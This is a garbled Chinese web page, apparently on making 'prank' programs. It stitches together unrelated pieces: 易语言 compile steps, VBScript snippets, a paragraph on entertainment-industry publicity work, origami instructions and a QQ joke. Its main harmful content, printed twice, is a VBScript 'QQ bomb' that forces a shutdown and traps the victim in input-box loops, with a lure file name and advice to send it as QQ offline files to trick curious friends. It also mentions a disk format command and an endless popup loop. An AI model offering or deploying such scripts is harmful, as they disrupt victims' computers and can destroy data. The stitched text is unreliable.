整人网页制作

1、首先打开易语言，编写好程序代码，或者打开一份已经保存的易语言文件，扩展名为“.e”2、然后点击菜单栏的程序-配置3、填上程序名称，程序描述，程序备注，版本号，然后点击作者，输入作者名字或者昵称，防止别人盗用，当然如果不需要这些，只是做来自己用的话也可以直接跳过第二第三步5、点击菜单栏中的编译-静态编译6、选择要保存的路径以及输入软件的名称，点击保存即可生成exe可执行文件。

代码如下:123456789101112Dim str,nstr,i, k, jstr = InputBox("请输入MAC地址，使用英文冒号分隔地址" & chr(13) & "00:0e:be:ca:eb:8a")nstr = Replace(str, ":", "")For i = 1 To len(nstr) Step 4    k = Mid(nstr, i, 4)    If Len(k) = 4 And i < 9 Then         j = j & k & "."    Else         j = j & k    End IfNextMsgBox "文本一内容为"&j&Chr(13)&"文本二mac地址累加内容为"&j12345Dim fso, fSet fso = CreateObject("Scripting.FileSystemObject")Set f = fso.OpenTextFile("C:\test.txt") '引号里自己改文件路径f.WriteLine("")  '引号里自己改内容，引号去除后就是写入变量f.Close

　　在娱乐圈的所谓通告，是指参加各种节目，各类公共活动（例如：签唱会、谈话节目、宣传会、代言活动，记者会之类），按照制作公司或者投资公司的意思在某一特定时间段内提高艺人的曝光率。　　通告艺人，是属于过气的歌手、偶像或是人气不足、没有特定公司签约或是无节目可作的非一线明星。这类人不再像往常在某一固定摄影棚或是录音室内工作，而是每天奔波于各个综艺节目之间，谈谈圈内八卦或是流行新闻及自己和其他艺人的小秘密等，要不就是在某些娱乐节目中玩一些整人游戏博大家一乐。

准备一张正方形折纸，将折纸的相近两步都向内折叠2cm左右，两个折边互相折叠。将正方形纸摆成菱形，折叠完成交叉部分都向内折，交叉部分折叠出一个立体的正方形。将菱形顶部的立体的正方形的第一层左右两个角沿中线向内折进，第一层的三角形就会边成窄边。把整个菱形的顶角向后折叠，菱形的顶角呈平形边，折叠时边需要和正中心立体正方形的内边一样平。把正方形的上层向上翻起，左右两侧仍旧呈折叠状态。把菱形的最下角向上折起，大小和折好的边刚好吻合。把菱形左侧向内折拢，左侧边不需要垂直，折拢后再将该折叠部分向外反折，折叠部分微微向上。右侧也用相同的方式折叠，左右两侧相互可以交叠，完成汉服小人的宽袖口。折叠完成后再将头部涂上表情，那么汉服小人就完成了

[QQ红包]发红包啦！是不是又冲进来了 这么激动干嘛，刚学的千里招魂术而已。复制粘贴这段话就好了，记得中间要空出来大段，求采纳

第一步，将以下代码复制到记事本中。on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true dim a do while(a <> "潮流哥特") a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）如果谁运行了这个QQ炸弹，在30秒后会自动关机。 下面说一下使用方法： 最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。 还有个更加恶毒的，不在线的QQ好友你可以向他们发送QQ离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了。 打开以后就被QQ炸弹恶搞了 你自己也可以测试一下这个QQ炸弹的威力。

format 盘符 /Q格式化指定磁盘的意思。while(1) msgbox "哈哈 你被耍了！" loop 这段代码就比较坏了,一直弹出窗口显示"哈哈,你被刷了!"要是你不会结束它,只好重启电脑了,也是保存为.vbs格式

第一步，将以下代码复制到记事本中。on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true dim a do while(a <> "潮流哥特") a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）如果谁运行了这个QQ炸弹，在30秒后会自动关机。 下面说一下使用方法： 最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。 还有个更加恶毒的，不在线的QQ好友你可以向他们发送QQ离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了。 打开以后就被QQ炸弹恶搞了 你自己也可以测试一下这个QQ炸弹的威力。